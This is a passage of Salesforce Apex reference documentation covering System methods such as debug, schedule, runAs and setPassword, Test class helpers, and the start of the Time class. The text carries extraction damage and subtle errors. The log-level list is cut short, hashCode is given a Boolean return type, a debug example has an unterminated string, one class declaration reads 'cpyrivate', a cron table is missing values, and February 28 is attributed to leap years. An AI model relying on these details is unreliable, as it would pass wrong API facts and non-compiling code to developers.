If the `msg` argument is not a string, the `debug` method calls `String.valueOf` to convert it into a string. The `String.valueOf` method calls the `toString` method on the argument, if available, or any overridden `toString` method if the argument is a user-defined type. Otherwise, if no `toString` method is available, it returns a string representation of the argument.

Tip: Calls to `System.debug` are not counted as part of Apex code coverage.

System Logging Levels

Use the `loggingLevel` enum to specify the logging level for the `debug` method.

Valid log levels are (listed from lowest to highest):

- **NONE**
- **ERROR**
Log levels are cumulative. For example, if the lowest level, ERROR, is specified for Apex Code, only debug methods with the log level of ERROR are logged. If the next level, WARN, is specified, the debug log contains debug methods specified as either ERROR or WARN.

In the following example, the string MsgTxt is not written to the debug log because the log level is ERROR and the debug method has a level of INFO:

```java
System.LoggingLevel level = LoggingLevel.ERROR;
System.debug(logginglevel.INFO, 'MsgTxt');
```

For more information on log levels, see “Debug Log Levels” in the Salesforce online help.

**enqueueJob (queueableObj)**

Adds a job to the Apex job queue that corresponds to the specified queueable class and returns the job ID.

**Signature**

```java
public static ID enqueueJob(Object queueableObj)
```

**Parameters**

queueableObj

Type: Object

An instance of the class that implements the Queueable Interface.

**Return Value**

Type: ID

The job ID, which corresponds to the ID of an AsyncApexJob record.

**Usage**

To add a job for asynchronous execution, call `System.enqueueJob` by passing in an instance of your class implementation of the Queueable interface for execution as follows:

```java
ID jobID = System.enqueueJob(new MyQueueableClass());
```

**equals (obj1, obj2)**

Returns `true` if both arguments are equal. Otherwise, returns `false`. 

2301
**Signature**

```java
public static Boolean equals(Object obj1, Object obj2)
```

**Parameters**

- **obj1**
  Type: Object
  Object being compared.

- **obj2**
  Type: Object
  Object to compare with the first argument.

**Return Value**

Type: Boolean

**Usage**

`obj1` and `obj2` can be of any type. They can be values, or object references, such as sObjects and user-defined types. The comparison rules for `System.equals` are identical to the ones for the `==` operator. For example, string comparison is case insensitive. For information about the comparison rules, see the `==` operator.

**getApplicationReadWriteMode()**

Returns the read write mode set for an organization during Salesforce.com upgrades and downtimes.

**Signature**

```java
public static System.ApplicationReadWriteMode getApplicationReadWriteMode()
```

**Return Value**

Type: `System.ApplicationReadWriteMode`

Valid values are:

- DEFAULT
- READ_ONLY

**Using the `System.ApplicationReadWriteMode` Enum**

Use the `System.ApplicationReadWriteMode` enum returned by the `getApplicationReadWriteMode` to programmatically determine if the application is in read-only mode during Salesforce upgrades and downtimes.

Valid values for the enum are:

- DEFAULT
- READ_ONLY
Example:

```java
public class myClass {
    public static void execute() {
        ApplicationReadWriteMode mode = System.getApplicationReadWriteMode();

        if (mode == ApplicationReadWriteMode.READ_ONLY) {
            // Do nothing. If DML operation is attempted in readonly mode,
            // InvalidReadOnlyUserDmlException will be thrown.
        } else if (mode == ApplicationReadWriteMode.DEFAULT) {
            Account account = new Account(name = 'my account');
            insert account;
        }
    }
}
```

### hashCode(obj)

Returns the hash code of the specified object.

**Signature**

```java
public static Integer hashCode(Object obj)
```

**Parameters**

- **obj**
  - Type: Object
  - The object to get the hash code for. This parameter can be of any type, including values or object references, such as sObjects or user-defined types.

**Return Value**

- Type: Boolean

### isBatch()

Returns `true` if the currently executing code is invoked by a batch Apex job; `false` otherwise.

**Signature**

```java
public static Boolean isBatch()
```

**Return Value**

- Type: Boolean

**Usage**

Since a future method can’t be invoked from a batch Apex job, use this method to check if the currently executing code is a batch Apex job before you invoke a future method.
**isFuture()**

Returns **true** if the currently executing code is invoked by code contained in a method annotated with `future`; **false** otherwise.

**Signature**

```java
public static Boolean isFuture()
```

**Return Value**

Type: `Boolean`

**Usage**

Since a future method can’t be invoked from another future method, use this method to check if the current code is executing within the context of a future method before you invoke a future method.

**isScheduled()**

Returns **true** if the currently executing code is invoked by a scheduled Apex job; **false** otherwise.

**Signature**

```java
public static Boolean isScheduled()
```

**Return Value**

Type: `Boolean`

**now()**

Returns the current date and time in the GMT time zone.

**Signature**

```java
public static Datetime now()
```

**Return Value**

Type: `Datetime`

**process(workItemIds, action, comments, nextApprover)**

Processes the list of work item IDs.

**Signature**

```java
public static List<Id> process(List<Id> workItemIds, String action, String comments, String nextApprover)
```
**Parameters**

- **workItemIds**
  Type: List<Id>

- **action**
  Type: String

- **comments**
  Type: String

- **nextApprover**
  Type: String

**Return Value**
Type: List<Id>

**purgeOldAsyncJobs (dt)**

Deletes asynchronous Apex job records for jobs that have finished execution before the specified date with a Completed, Aborted, or Failed status, and returns the number of records deleted.

**Signature**

```java
public static Integer purgeOldAsyncJobs(Date dt)
```

**Parameters**

- **dt**
  Type: Date

  Specifies the date up to which old records are deleted. The date comparison is based on the CompletedDate field of AsyncApexJob, which is in the GMT time zone.

**Return Value**
Type: Integer

**Usage**

Asynchronous Apex job records are records in `AsyncApexJob`.

The system cleans up asynchronous job records for jobs that have finished execution and are older than seven days. You can use this method to further reduce the size of AsyncApexJob by cleaning up more records.

Each execution of this method counts as a single row against the governor limit for DML statements.

**Example**

This example shows how to delete all job records for jobs that have finished before today’s date.

```java
Integer count = System.purgeOldAsyncJobs(Date.today());
```
System.debug('Deleted ' + count + ' old jobs.);

**requestVersion()**

Returns a two-part version that contains the major and minor version numbers of a package.

**Signature**

```java
public static System.Version requestVersion()
```

**Return Value**

Type: `System.Version`

**Usage**

Using this method, you can determine the version of an installed instance of your package from which the calling code is referencing your package. Based on the version that the calling code has, you can customize the behavior of your package code.

The `requestVersion` method isn’t supported for unmanaged packages. If you call it from an unmanaged package, an exception will be thrown.

**resetPassword(userId, sendUserEmail)**

Resets the password for the specified user.

**Signature**

```java
public static System.ResetPasswordResult resetPassword(ID userId, Boolean sendUserEmail)
```

**Parameters**

- **userId**
  - Type: `ID`

- **sendUserEmail**
  - Type: `Boolean`

**Return Value**

Type: `System.ResetPasswordResult`

**Usage**

When the user logs in with the new password, they are prompted to enter a new password, and to select a security question and answer if they haven’t already. If you specify `true` for `sendUserEmail`, the user is sent an email notifying them that their password was reset. A link to sign onto Salesforce using the new password is included in the email. Use `setPassword(userId, password)` if you don’t want the user to be prompted to enter a new password when they log in.

⚠️ **Warning**: Be careful with this method, and do not expose this functionality to end-users.
runAs (version)
Changes the current package version to the package version specified in the argument.

Signature
public static Void runAs(System.Version version)

Parameters
version
  Type: System.Version

Return Value
Type: Void

Usage
A package developer can use Version methods to continue to support existing behavior in classes and triggers in previous package versions while continuing to evolve the code. Apex classes and triggers are saved with the version settings for each installed managed package that the class or trigger references.

This method is used for testing your component behavior in different package versions that you upload to the AppExchange. This method effectively sets a two-part version consisting of major and minor numbers in a test method so that you can test the behavior for different package versions.

You can only use runAs in a test method. There is no limitation to the number of calls to this method in a transaction. For sample usage of this method, see Testing Behavior in Package Versions.

runAs (userSObject)
Changes the current user to the specified user.

Signature
public static Void runAs(User userSObject)

Parameters
userSObject
  Type: User

Return Value
Type: Void

Usage
All of the specified user's record sharing is enforced during the execution of runAs. You can only use runAs in a test method. For more information, see Using the runAs Method on page 553.
Note: The runAs method ignores user license limits. You can create new users with runAs even if your organization has no additional user licenses.

The runAs method implicitly inserts the user that is passed in as parameter if the user has been instantiated, but not inserted yet.

You can also use runAs to perform mixed DML operations in your test by enclosing the DML operations within the runAs block. In this way, you bypass the mixed DML error that is otherwise returned when inserting or updating setup objects together with other sObjects. See sObjects That Cannot Be Used Together in DML Operations.

Note: Every call to runAs counts against the total number of DML statements issued in the process.

### schedule(jobName, cronExpression, schedulableClass)

Use schedule with an Apex class that implements the Schedulable interface to schedule the class to run at the time specified by a Cron expression.

#### Signature

```java
public static String schedule(String jobName, String cronExpression, Object schedulableClass)
```

#### Parameters

- **jobName**
  - Type: String
- **cronExpression**
  - Type: String
- **schedulableClass**
  - Type: Object

#### Return Value

Type: String

Returns the scheduled job ID (CronTrigger ID).

#### Usage

Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t add more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time. Use the abortJob method to stop the job after it has been scheduled.

Note: Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service availability.

#### Using the System.Schedule Method

After you implement a class with the Schedulable interface, use the System.Schedule method to execute it. The scheduler runs as system—all classes are executed, whether or not the user has permission to execute the class.
Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t add more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time.

The `System.Schedule` method takes three arguments: a name for the job, an expression used to represent the time and date the job is scheduled to run, and the name of the class. This expression has the following syntax:

<table>
<thead>
<tr>
<th>Seconds</th>
<th>Minutes</th>
<th>Hours</th>
<th>Day_of_month</th>
<th>Month</th>
<th>Day_of_week</th>
<th>optional_year</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>0–23</td>
<td>1–31</td>
<td>1–12</td>
<td>1–7</td>
<td></td>
</tr>
</tbody>
</table>

Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service availability.

The `System.Schedule` method uses the user’s timezone for the basis of all schedules.

The following are the values for the expression:

<table>
<thead>
<tr>
<th>Name</th>
<th>Values</th>
<th>Special Characters</th>
</tr>
</thead>
<tbody>
<tr>
<td>Seconds</td>
<td>0–59</td>
<td>None</td>
</tr>
<tr>
<td>Minutes</td>
<td>0–59</td>
<td>None</td>
</tr>
<tr>
<td>Hours</td>
<td>0–23</td>
<td>, - * /</td>
</tr>
<tr>
<td>Month</td>
<td>1–12 or the following:</td>
<td>, - * /</td>
</tr>
<tr>
<td>• JAN</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• FEB</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• MAR</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• APR</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• MAY</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• JUN</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• JUL</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• AUG</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• SEP</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• OCT</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• NOV</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• DEC</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Day_of_week</td>
<td>1–7 or the following:</td>
<td>, - * ? / L #</td>
</tr>
<tr>
<td>• SUN</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• MON</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• TUE</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• WED</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• THU</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• FRI</td>
<td></td>
<td></td>
</tr>
<tr>
<td>• SAT</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
The special characters are defined as follows:

<table>
<thead>
<tr>
<th>Special Character</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>,</td>
<td>Delimits values. For example, use JAN, MAR, APR to specify more than one month.</td>
</tr>
<tr>
<td>–</td>
<td>Specifies a range. For example, use JAN–MAR to specify more than one month.</td>
</tr>
<tr>
<td>*</td>
<td>Specifies all values. For example, if Month is specified as *, the job is scheduled for every month.</td>
</tr>
<tr>
<td>?</td>
<td>Specifies no specific value. This is only available for Day_of_month and Day_of_week, and is generally used when specifying a value for one and not the other.</td>
</tr>
<tr>
<td>/</td>
<td>Specifies increments. The number before the slash specifies when the intervals will begin, and the number after the slash is the interval amount. For example, if you specify 1/5 for Day_of_month, the Apex class runs every fifth day of the month, starting on the first of the month.</td>
</tr>
<tr>
<td>L</td>
<td>Specifies the end of a range (last). This is only available for Day_of_month and Day_of_week. When used with Day_of_month, L always means the last day of the month, such as January 31, February 28 for leap years, and so on. When used with Day_of_week by itself, it always means 7 or SAT. When used with a Day_of_week value, it means the last of that type of day in the month. For example, if you specify 2L, you are specifying the last Monday of the month. Do not use a range of values with L as the results might be unexpected.</td>
</tr>
<tr>
<td>W</td>
<td>Specifies the nearest weekday (Monday-Friday) of the given day. This is only available for Day_of_month. For example, if you specify 20W, and the 20th is a Saturday, the class runs on the 19th. If you specify 1W, and the first is a Saturday, the class does not run in the previous month, but on the third, which is the following Monday. <strong>Tip:</strong> Use the L and W together to specify the last weekday of the month.</td>
</tr>
<tr>
<td>#</td>
<td>Specifies the nth day of the month, in the format weekday#day_of_month. This is only available for Day_of_week. The number before the # specifies weekday (SUN–SAT). The number after the # specifies the day of the month. For example, specifying 2#2 means the class runs on the second Monday of every month.</td>
</tr>
</tbody>
</table>

The following are some examples of how to use the expression.

<table>
<thead>
<tr>
<th>Expression</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0 0 13 * * ?</td>
<td>Class runs every day at 1 PM.</td>
</tr>
<tr>
<td>0 0 22 ? * 6L</td>
<td>Class runs the last Friday of every month at 10 PM.</td>
</tr>
</tbody>
</table>
### Expression | Description
--- | ---
0 0 10 ? * MON-FRI | Class runs Monday through Friday at 10 AM.
0 0 20 * * ? 2010 | Class runs every day at 8 PM during the year 2010.

In the following example, the class `proschedule` implements the `Schedulable` interface. The class is scheduled to run at 8 AM, on the 13th of February.

```java
proschedule p = new proschedule();
String sch = '0 0 8 13 2 ?';
system.schedule('One Time Pro', sch, p);
```

**scheduleBatch(batchable, jobName, minutesFromNow)**

Schedules a batch job to run once in the future after the specified time interval and with the specified job name.

**Signature**

```java
public static String scheduleBatch(Database.Batchable batchable, String jobName, Integer minutesFromNow)
```

**Parameters**

- **batchable**
  - Type: `Database.Batchable`
  - An instance of a class that implements the `Database.Batchable` interface.
- **jobName**
  - Type: `String`
  - The name if the job that this method will start.
- **minutesFromNow**
  - Type: `Integer`
  - The time interval in minutes after which the job should start executing. This argument must be greater than zero.

**Return Value**

- Type: `String`
  - The scheduled job ID (CronTrigger ID).

**Usage**

- **Note:** Some things to note about `System.scheduleBatch`:
  - When you call `System.scheduleBatch`, Salesforce schedules the job for execution at the specified time. Actual execution occurs at or after that time, depending on service availability.
  - The scheduler runs as system—all classes are executed, whether or not the user has permission to execute the class.
  - When the job’s schedule is triggered, the system queues the batch job for processing. If Apex flex queue is enabled in your org, the batch job is added at the end of the flex queue. For more information, see [Holding Batch Jobs in the Apex Flex Queue](#).
• All scheduled Apex limits apply for batch jobs scheduled using `System.scheduleBatch`. After the batch job is queued (with a status of `Holding` or `Queued`), all batch job limits apply and the job no longer counts toward scheduled Apex limits.

• After calling this method and before the batch job starts, you can use the returned scheduled job ID to abort the scheduled job using the `System.abortJob` method.

For an example, see Using the `System.scheduleBatch` Method.

`scheduleBatch(batchable, jobName, minutesFromNow, scopeSize)`

Schedules a batch job to run once in the future after the specified the time interval, with the specified job name and scope size. Returns the scheduled job ID (CronTrigger ID).

**Signature**

```java
public static String scheduleBatch(Database.Batchable batchable, String jobName, Integer minutesFromNow, Integer scopeSize)
```

**Parameters**

- `batchable`
  - Type: `Database.Batchable`
  - The batch class that implements the `Database.Batchable` interface.

- `jobName`
  - Type: `String`
  - The name of the job that this method will start.

- `minutesFromNow`
  - Type: `Integer`
  - The time interval in minutes after which the job should start executing.

- `scopeSize`
  - Type: `Integer`
  - The number of records that should be passed to the batch `execute` method.

**Return Value**

- Type: `String`

**Usage**

**Note:** Some things to note about `System.scheduleBatch`:

- When you call `System.scheduleBatch`, Salesforce schedules the job for execution at the specified time. Actual execution occurs at or after that time, depending on service availability.

- The scheduler runs as system—all classes are executed, whether or not the user has permission to execute the class.

- When the job’s schedule is triggered, the system queues the batch job for processing. If Apex flex queue is enabled in your org, the batch job is added at the end of the flex queue. For more information, see Holding Batch Jobs in the Apex Flex Queue.
• All scheduled Apex limits apply for batch jobs scheduled using `System.scheduleBatch`. After the batch job is queued (with a status of `Holding` or `Queued`), all batch job limits apply and the job no longer counts toward scheduled Apex limits.

• After calling this method and before the batch job starts, you can use the returned scheduled job ID to abort the scheduled job using the `System.abortJob` method.

For an example, see Using the `System.scheduleBatch` Method.

`setPassword(userId, password)`

Sets the password for the specified user.

**Signature**

```java
public static Void setPassword(ID userId, String password)
```

**Parameters**

- `userId`
  
  Type: `ID`

- `password`
  
  Type: `String`

**Return Value**

Type: `Void`

**Usage**

When the user logs in with this password, they are not prompted to create a new password. Use `resetPassword(userId, sendUserEmail)` if you want the user to go through the reset process and create their own password.

⚠️ **Warning:** Be careful with this method, and do not expose this functionality to end-users.

`submit(workItemIds, comments, nextApprover)`

Submits the processed approvals. The current user is the submitter and the entry criteria is evaluated for all processes applicable to the current user.

**Signature**

```java
public static List<ID> submit(List<ID> workItemIds, String comments, String nextApprover)
```

**Parameters**

- `workItemIds`
  
  Type: `List<ID>`

- `comments`
  
  Type: `String`
nextApprover
Type: String

Return Value
Type: List<ID>

Usage
For enhanced submit and evaluation features, see the ProcessSubmitRequest class.

today()
Returns the current date in the current user’s time zone.

Signature
public static Date today()

Return Value
Type: Date

Test Class
Contains methods related to Visualforce tests.

Namespace
System

Test Methods
The following are methods for Test. All methods are static.

IN THIS SECTION:
enqueueBatchJobs(numberOfJobs)
Adds the specified number of jobs with no-operation contents to the test-context queue. It first fills the test batch queue, up to the maximum 5 jobs, and then places jobs in the test flex queue. It throws a limit exception when the number of jobs in the test flex queue exceeds the allowed limit of 100 jobs.

getFlexQueueOrder()
Returns an ordered list of job IDs for jobs in the test-context flex queue. The job at index 0 is the next job slated to run. This method returns only test-context results, even if it’s annotated with @IsTest(SeeAllData=true).

getStandardPricebookId()
Returns the ID of the standard price book in the organization.

invokeContinuationMethod(controller, request)
Invokes the callback method for the specified controller and continuation in a test method.
isRunningTest()
Returns **true** if the currently executing code was called by code contained in a test method, **false** otherwise. Use this method if you need to run different code depending on whether it was being called from a test.

loadData(sObjectToken, resourceName)
Inserts test records from the specified static resource .csv file and for the specified sObject type, and returns a list of the inserted sObjects.

setContinuationResponse(requestLabel, mockResponse)
Sets a mock response for a continuation HTTP request in a test method.

setCurrentPage(page)
A Visualforce test method that sets the current PageReference for the controller.

setCurrentPageReference(page)
A Visualforce test method that sets the current PageReference for the controller.

setFixedSearchResults(setSearchResults)
Defines a list of fixed search results to be returned by all subsequent SOSL statements in a test method.

setMock(interfaceType, instance)
Sets the response mock mode and instructs the Apex runtime to send a mock response whenever a callout is made through the HTTP classes or the auto-generated code from WSDLs.

setReadOnlyApplicationMode(applicationMode)
Sets the application mode for an organization to read-only in an Apex test to simulate read-only mode during Salesforce upgrades and downtimes. The application mode is reset to the default mode at the end of each Apex test run.

startTest()
Marks the point in your test code when your test actually begins. Use this method when you are testing governor limits.

stopTest()
Marks the point in your test code when your test ends. Use this method in conjunction with the **startTest** method.

testInstall(installImplementation, version, isPush)
Tests the implementation of the InstallHandler interface, which is used for specifying a post install script in packages. Tests run as the test initiator in the development environment.

testUninstall(uninstallImplementation)
Tests the implementation of the UninstallHandler interface, which is used for specifying an uninstall script in packages. Tests run as the test initiator in the development environment.

enqueueBatchJobs(numberOfJobs)
Adds the specified number of jobs with no-operation contents to the test-context queue. It first fills the test batch queue, up to the maximum 5 jobs, and then places jobs in the test flex queue. It throws a limit exception when the number of jobs in the test flex queue exceeds the allowed limit of 100 jobs.

**Signature**

```java
public static List<Id> enqueueBatchJobs(Integer numberOfJobs)
```
Parameters

numberOfJobs
Type: Integer
Number of test jobs to enqueue.

Return Value

Type: List<Id>
A list of IDs of enqueued test jobs.

Usage

Use this method to reduce testing time. Instead of using your org's real batch jobs for testing, you can use this method to simulate batch-job enqueueing. Using enqueueBatchJobs(numberOfJobs) is faster than enqueuing real batch jobs.

getFlexQueueOrder()

Returns an ordered list of job IDs for jobs in the test-context flex queue. The job at index 0 is the next job slated to run. This method returns only test-context results, even if it's annotated with @IsTest(SeeAllData=true).

Signature

public static List<Id> getFlexQueueOrder()

Return Value

Type: List<Id>
An ordered list of IDs of the jobs in the test's flex queue.

getStandardPricebookId()

Returns the ID of the standard price book in the organization.

Signature

public static Id getStandardPricebookId()

Return Value

Type: Id
The ID of the standard price book.

Usage

This method returns the ID of the standard price book in your organization regardless of whether the test can query organization data. By default, tests can't query organization data unless they're annotated with @isTest(SeeAllData=true).

Creating price book entries with a standard price requires the ID of the standard price book. Use this method to get the standard price book ID so that you can create price book entries in your tests.
Example

This example creates some test data for price book entries. The test method in this example gets the standard price book ID and uses this ID to create a price book entry for a product with a standard price. Next, the test creates a custom price book and uses the ID of this custom price book to add a price book entry with a custom price.

```java
@isTest
class PriceBookTest {
    // Utility method that can be called by Apex tests to create price book entries.
    static testmethod void addPricebookEntries() {
        // First, set up test price book entries.
        // Insert a test product.
        Product2 prod = new Product2(Name = 'Laptop X200',
                                      Family = 'Hardware');
        insert prod;

        // Get standard price book ID.
        // This is available irrespective of the state of SeeAllData.
        Id pricebookId = Test.getStandardPricebookId();

        // 1. Insert a price book entry for the standard price book.
        PricebookEntry standardPrice = new PricebookEntry(
            Pricebook2Id = pricebookId, Product2Id = prod.Id,
            UnitPrice = 10000, IsActive = true);
        insert standardPrice;

        // Create a custom price book
        Pricebook2 customPB = new Pricebook2(Name='Custom Pricebook', isActive=true);
        insert customPB;

        // 2. Insert a price book entry with a custom price.
        PricebookEntry customPrice = new PricebookEntry(
            Pricebook2Id = customPB.Id, Product2Id = prod.Id,
            UnitPrice = 12000, IsActive = true);
        insert customPrice;

        // Next, perform some tests with your test price book entries.
    }
}
```

`invokeContinuationMethod(controller, request)`

Invokes the callback method for the specified controller and continuation in a test method.

**Signature**

```java
public static Object invokeContinuationMethod(Object controller, Continuation request)
```

**Parameters**

- `controller`
  - Type: Object
An instance of the controller class that invokes the continuation request.

`request`
Type: Continuation
The continuation that is returned by an action method in the controller class.

**Return Value**
Type: Object
The response of the continuation callback method.

**Usage**
Use the `Test.setContinuationResponse` and `Test.invokeContinuationMethod` methods to test continuations. In test context, callouts of continuations aren’t sent to the external service. By using these methods, you can set a mock response and cause the runtime to call the continuation callback method to process the mock response.

Call `Test.setContinuationResponse` before you call `Test.invokeContinuationMethod`. When you call `Test.invokeContinuationMethod`, the runtime executes the callback method that is associated with the continuation. The callback method processes the mock response that is set by `Test.setContinuationResponse`.

**isRunningTest()**
Returns `true` if the currently executing code was called by code contained in a test method, `false` otherwise. Use this method if you need to run different code depending on whether it was being called from a test.

**Signature**
```java
public static Boolean isRunningTest()
```

**Return Value**
Type: Boolean

**loadData(sObjectToken, resourceName)**
Inserts test records from the specified static resource .csv file and for the specified sObject type, and returns a list of the inserted sObjects.

**Signature**
```java
public static List<sObject> loadData(Schema.SObjectType sObjectToken, String resourceName)
```

**Parameters**
- `sObjectToken`
  Type: `Schema.SObjectType`
  The sObject type for which to insert test records.
- `resourceName`
  Type: `String`
The static resource that corresponds to the .csv file containing the test records to load. The name is case insensitive.

**Return Value**
Type: List<sObject>

**Usage**
You must create the static resource prior to calling this method. The static resource is a comma-delimited file ending with a .csv extension. The file contains field names and values for the test records. The first line of the file must contain the field names and subsequent lines are the field values. To learn more about static resources, see “Defining Static Resources” in the Salesforce online help.

Once you create a static resource for your .csv file, the static resource will be assigned a MIME type. Supported MIME types are:

- text/csv
- application/vnd.ms-excel
- application/octet-stream
- text/plain

**setContinuationResponse(requestLabel, mockResponse)**
Sets a mock response for a continuation HTTP request in a test method.

**Signature**
```java
public static void setContinuationResponse(String requestLabel, System.HttpResponse mockResponse)
```

**Parameters**
- **requestLabel**
  Type: String
  The unique label that corresponds to the continuation HTTP request. This label is returned by Continuation.addHttpRequest.

- **mockResponse**
  Type: HttpResponse
  The fake response to be returned by Test.invokeContinuationMethod.

**Return Value**
Type: void

**Usage**
Use the Test.setContinuationResponse and Test.invokeContinuationMethod methods to test continuations. In test context, callouts of continuations aren’t sent to the external service. By using these methods, you can set a mock response and cause the runtime to call the continuation callback method to process the mock response.

Call Test.setContinuationResponse before you call Test.invokeContinuationMethod. When you call Test.invokeContinuationMethod, the runtime executes the callback method that is associated with the continuation. The callback method processes the mock response that is set by Test.setContinuationResponse.
**setCurrentPage (page)**
A Visualforce test method that sets the current PageReference for the controller.

**Signature**
```
public static Void setCurrentPage(PageReference page)
```

**Parameters**
- `page`
  Type: `System.PageReference`

**Return Value**
Type: Void

**setCurrentPageReference (page)**
A Visualforce test method that sets the current PageReference for the controller.

**Signature**
```
public static Void setCurrentPageReference(PageReference page)
```

**Parameters**
- `page`
  Type: `System.PageReference`

**Return Value**
Type: Void

**setFixedSearchResults (setSearchResults)**
Defines a list of fixed search results to be returned by all subsequent SOSL statements in a test method.

**Signature**
```
public static Void setFixedSearchResults(ID[] setSearchResults)
```

**Parameters**
- `setSearchResults`
  Type: `ID[]`

  The list of record IDs specified by `opt_set_search_results` replaces the results that would normally be returned by the SOSL queries if they were not subject to any `WHERE` or `LIMIT` clauses. If these clauses exist in the SOSL queries, they are applied to the list of fixed search results.
Return Value
Type: Void

Usage
If opt_set_search_results is not specified, all subsequent SOSL queries return no results.
For more information, see Adding SOSL Queries to Unit Tests on page 555.

setMock(interfaceType, instance)
Sets the response mock mode and instructs the Apex runtime to send a mock response whenever a callout is made through the HTTP classes or the auto-generated code from WSDLs.

Signature
public static Void setMock(Type interfaceType, Object instance)

Parameters
interfaceType
Type: System.Type

instance
Type: Object

Return Value
Type: Void

Usage
Note: To mock a callout if the code that performs the callout is in a managed package, call Test.setMock from a test method in the same package with the same namespace.

setReadOnlyApplicationMode(applicationMode)
Sets the application mode for an organization to read-only in an Apex test to simulate read-only mode during Salesforce upgrades and downtimes. The application mode is reset to the default mode at the end of each Apex test run.

Signature
public static Void setReadOnlyApplicationMode(Boolean applicationMode)

Parameters
applicationMode
Type: Boolean
Return Value
Type: Void

Usage
Also see the `getApplicationReadWriteMode()` System method.
Do not use `setReadOnlyApplicationMode` for purposes unrelated to Read-Only Mode testing, such as simulating DML exceptions.

Example
The following example sets the application mode to read-only and attempts to insert a new account record, which results in the exception. It then resets the application mode and performs a successful insert.

```java
@isTest
cpyrivate class ApplicationReadOnlyModeTestClass {
public static testmethod void test() {
    // Create a test account that is used for querying later.
    Account testAccount = new Account(Name = 'TestAccount');
    insert testAccount;

    // Set the application read only mode.
    Test.setReadOnlyApplicationMode(true);

    // Verify that the application is in read-only mode.
    System.assertEquals(
        ApplicationReadWriteMode.READ_ONLY,
        System.getApplicationReadWriteMode());

    // Create a new account object.
    Account testAccount2 = new Account(Name = 'TestAccount2');

    try {
        // Get the test account created earlier. Should be successful.
        Account testAccountFromDb =
            [SELECT Id, Name FROM Account WHERE Name = 'TestAccount'];
        System.assertEquals(testAccount.Id, testAccountFromDb.Id);

        // Inserts should result in the InvalidReadOnlyUserDmlException
        // being thrown.
        insert testAccount2;
        System.assertEquals(false, true);
    } catch (System.InvalidReadOnlyUserDmlException e) {
        // Expected
    }

    // Insertion should work after read only application mode gets disabled.
    Test.setReadOnlyApplicationMode(false);

    insert testAccount2;
    Account testAccount2FromDb =
        [SELECT Id, Name FROM Account WHERE Name = 'TestAccount2'];
    System.assertEquals(testAccount2.Id, testAccount2FromDb.Id);
}
```
startTest()
Marks the point in your test code when your test actually begins. Use this method when you are testing governor limits.

Signature
public static Void startTest()

Return Value
Type: Void

Usage
You can also use this method with stopTest to ensure that all asynchronous calls that come after the startTest method are run before doing any assertions or testing. Each test method is allowed to call this method only once. All of the code before this method should be used to initialize variables, populate data structures, and so on, allowing you to set up everything you need to run your test. Any code that executes after the call to startTest and before stopTest is assigned a new set of governor limits.

stopTest()
Marks the point in your test code when your test ends. Use this method in conjunction with the startTest method.

Signature
public static Void stopTest()

Return Value
Type: Void

Usage
Each test method is allowed to call this method only once. Any code that executes after the stopTest method is assigned the original limits that were in effect before startTest was called. All asynchronous calls made after the startTest method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously.

Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, do not count against your limits for the number of queued jobs.

testInstall(installImplementation, version, isPush)
Tests the implementation of the InstallHandler interface, which is used for specifying a post install script in packages. Tests run as the test initiator in the development environment.
testInstall

**Signature**

```java
public static Void testInstall(InstallHandler installImplementation, Version version, Boolean isPush)
```

**Parameters**

- `installImplementation`  
  Type: System.InstallHandler  
  A class that implements the `InstallHandler` interface.

- `version`  
  Type: System.Version  
  The version number of the existing package installed in the subscriber organization.

- `isPush`  
  Type: Boolean  
  (Optional) Specifies whether the upgrade is a push. The default value is `false`.

**Return Value**

Type: Void

**Usage**

This method throws a run-time exception if the test install fails.

**Example**

```java
@isTest static void test() {
    PostInstallClass postinstall =
        new PostInstallClass();
    Test.testInstall(postinstall,
                    new Version(1,0));
}
```

testUninstall

**Signature**

```java
public static Void testUninstall(UninstallHandler uninstallImplementation)
```

**Parameters**

- `uninstallImplementation`  
  Type: System.UninstallHandler  
  A class that implements the `UninstallHandler` interface.

**Usage**

Tests the implementation of the UninstallHandler interface, which is used for specifying an uninstall script in packages. Tests run as the test initiator in the development environment.
Return Value
Type: Void

Usage
This method throws a run-time exception if the test uninstall fails.

Example

```java
@isTest static void test() {
    UninstallClass uninstall =
    new UninstallClass();
    Test.testUninstall(uninstall);
}
```

Time Class
Contains methods for the Time primitive data type.

Namespace
System

Usage
For more information on time, see Primitive Data Types on page 27.

Time Methods
The following are methods for `Time`.

IN THIS SECTION:
- `addHours(additionalHours)`
  Adds the specified number of hours to a Time.
- `addMilliseconds(additionalMilliseconds)`
  Adds the specified number of milliseconds to a Time.
- `addMinutes(additionalMinutes)`
  Adds the specified number of minutes to a Time.
- `addSeconds(additionalSeconds)`
  Adds the specified number of seconds to a Time.
- `hour()`
  Returns the hour component of a Time.
- `millisecond()`
  Returns the millisecond component of a Time.
minute()
Returns the minute component of a Time.

newInstance(hour, minutes, seconds, milliseconds)
Constructs a Time from Integer representations of the specified hour, minutes, seconds, and milliseconds.

second()
Returns the second component of a Time.
